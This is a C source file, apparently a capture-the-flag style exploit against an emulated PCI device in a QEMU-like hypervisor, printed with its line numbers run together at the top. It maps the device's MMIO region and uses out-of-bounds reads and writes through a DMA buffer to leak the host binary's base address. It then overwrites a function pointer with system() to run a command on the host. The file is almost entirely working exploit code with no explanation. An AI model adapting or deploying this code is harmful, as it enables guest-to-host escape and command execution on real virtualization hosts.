1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129
| #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <fcntl.h> #include <sys/mman.h>
#define PFN_MASK ((((size_t)1)<<54)-1)
char *mmio;
size_t buffer_phys_addr; char *buffer;
void die(char *msg) { perror(msg); exit(-1); }
void mmio_write(uint64_t addr,uint64_t val) { *((uint64_t *)(mmio + addr)) = val; }
uint64_t mmio_read(uint64_t addr) { return *((uint64_t *)(mmio + addr)); }
void setPhyAddr(uint64_t val) { mmio_write(24,val); }
void setPos(uint64_t val) { mmio_write(8,val); }
void setLength(uint64_t val) { mmio_write(16,val); }
void mem_read_write(uint64_t phyAddr,uint64_t pos,uint64_t length) { setPhyAddr(phyAddr); setPos(pos); setLength(length); mmio_write(32,63021); }
size_t get_phys_addr(char *vir_addr) { int fd = open("/proc/self/pagemap", O_RDONLY); if (fd == -1) { die("open pagemap error"); } size_t vir = (size_t)vir_addr; size_t offset = vir / 0x1000 * 8; if (lseek(fd,offset,SEEK_SET) == -1) { die("lseek pagemap error"); } size_t addr; if (read(fd,&addr,8) != 8) { die("read pagemap error"); } addr = (addr & PFN_MASK) * 0x1000; return addr; }
int main(int argc,char ** argv) { int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR); if (fd == -1) { die("open device error"); } mmio = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0); if (mmio == MAP_FAILED) { die("mmap device memory error"); } buffer = mmap(NULL,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS,-1,0); if (buffer == MAP_FAILED) { die("mmap local buffer error"); } mlock(buffer, 0x1000); buffer_phys_addr = get_phys_addr(buffer); printf("buffer_phys_addr=0x%lx\n",buffer_phys_addr); size_t *d = (size_t *)buffer; size_t low = 0xf010 - 0x88; buffer[0] = low & 0xff; low = low >> 0x8; buffer[1] = low & 0xff; mem_read_write(buffer_phys_addr,-0xC0,0x2); size_t elf_base = mmio_read(16) - 0x31bd40; size_t system_addr = elf_base + 0x2C2180; printf("elf_base=0x%lx\n",elf_base); printf("system_addr=0x%lx\n",system_addr);
low = 0xf010 - 0x48; buffer[0] = low & 0xff; low = low >> 0x8; buffer[1] = low & 0xff; mem_read_write(buffer_phys_addr,-0x38,0x2); size_t obj_addr = mmio_read(0x8) - 0x998; printf("obj_addr=0x%lx\n",obj_addr);
d[0] = obj_addr + 0x948; d[1] = obj_addr + 0x950; d[2] = system_addr; char cmd[0x100] = "cat "; char *f = argv[1]; int len = strlen(f); strcat(cmd,f); cmd[strlen(cmd)] = 0;
memcpy(buffer+0x18,cmd,strlen(cmd)+1); mem_read_write(buffer_phys_addr,-0x80,0x18 + strlen(cmd)+1);
mmio_read(0x666); return 0; }
|